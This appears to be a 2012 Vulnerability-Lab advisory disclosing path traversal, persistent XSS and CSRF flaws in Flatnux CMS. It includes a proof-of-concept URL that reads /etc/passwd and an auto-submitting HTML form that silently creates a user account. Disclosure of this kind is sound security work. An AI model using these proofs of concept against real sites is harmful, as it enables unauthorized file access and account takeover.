Title: ====== Flatnux CMS 2011 08.09.2 - Multiple Web Vulnerabilities Date: ===== 2012-04-01 References: =========== http://www.vulnerability-lab.com/get_content.php?id=487 VL-ID: ===== 487 Introduction: ============= Flatnux is no database CMS for accessible websites, corporate websites, e-commerce and web management. Flatnux is a CMS without database that may have a database. CMS a program that allows you to easily create and update a website. Flatnux is a cms easy to use that can be used for: accessible portals E-commerce and shopping online web management Multilingual Websites Websites for Mobile Devices Example of e-commerce carried out with flatnux (www.pesto-genovese.it/) Example of management web made ​​with flatnux Example website created with flatnux, with online catalog Example of a web portal interface for mobile devices (Copy of the Vendor Homepage: http://www.flatnux.altervista.org/news.html ) Abstract: ========= A Vulnerability Laboratory Researcher discovered multiple Web Vulnerabilities in Flatnux CMS 2011 08.09.2. Report-Timeline: ================ 2012-04-01: Public or Non-Public Disclosure Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= High Details: ======== 1.1 A arbitrary file traversal vulnerability is detected in Flatnux CMS 2011 08.09.2. The vulnerability allows an admin of the cms system to access server file components. Successful exploitation leads to unauthorized execution and access to system files which expands the web server rights of a restricted user. Vulnerable Module(s): [+] controlcenter.php > opt=contents/Files&dir= 1.2 A persistent input validation vulnerabilities are detected in Flatnux CMS 2011 08.09.2. The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent). Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation. Exploitation requires low user inter action. Vulnerable Module(s): [+] Comment News - Title News > Name of Folders in Gallery 1.3 A cross site request forgery vulnerability is detected in Flatnux CMS 2011 08.09.2. The bugs allow remote attackers with high required user inter action to edit user accounts. Successful exploitation can lead to account access. To exploit the issue the attacker need to create a manipulated copy the edit user mask/form. Inside of the document the remote can implement his own values for the update because of no form or token protection. When admin get now forced to execute the script via link he is executing the new value on the update of the application if his session is not expired. Vulnerable Module(s): [+] xdb_fn_users - Add Account Affected Version(s): [+] flatnux-2011-08.09.2 [+] flatnux-2011-2012-01.03.3 [+] flatnux-2011-minimal-2012-01.03.3 [+] fncommerce-2010-08-09-no-db [+] fncommerce-2010-08-09-no-sample-data [+] fncommerce-2010-08-09-with-sample-data [+] fncommerce-2010-12-17-no-db [+] fncommerce-2010-12-17-no-sample-data [+] fncommerce-2010-12-17-with-sample-data Proof of Concept: ================= The vulnerabilities can be exploit with low, medium and high required user inter action. For demonstration or reproduce ... 1.1 http://127.0.0.1/flatnux/controlcenter.php?opt=contents/Files&dir=%2Fetc&ffile=passwd&opmod=open 1.2 the comment to the news the title of the news the name of the folders that admin creates in the gallery 1.3 <html> <form name="test" action="http://127.0.1.1/flatnux/controlcenter.php?page___xdb_fn_users=1&order___xdb_fn_users=username&desc___xdb_fn_users=&op___xdb_fn_users=insnew&page___ xdb_fn_users=&op=editdata&opt=utilities/xmldb_admin&t=fn_users" method="post"> <input type="hidden" name="username" value="csrf"><br/> <input type="hidden" name="email" value="csrf () hotmail com"><br/> <input type="hidden" name="passwd" value="186911"><br/> <input type="hidden" name="passwd_retype" value="186911"><br/> <input type="hidden" name="name" value="csrf"><br/> <input type="hidden" name="surname" value="Mr"><br/> <input type="hidden" name="link" value="http"><br/> <input type="hidden" name="avatarimage" value=""><br/> <input type="hidden" name="avatar" value=""><br/> <input type="hidden" name="save___xdb_fn_users" value="__xdb_fn_users"><br\> <input type="hidden" name="activ" value=1><br/> </form> <script>document.test.submit();</script> </html> Risk: ===== 1.1 The security risk of the arbitrary file traversal vulnerability is estimated as high(-). 1.2 The security risk of the persistent input validation vulnerability is estimated as medium. 1.3 The security risk of the cross site request forgery vulnerability is estimated as low(+).
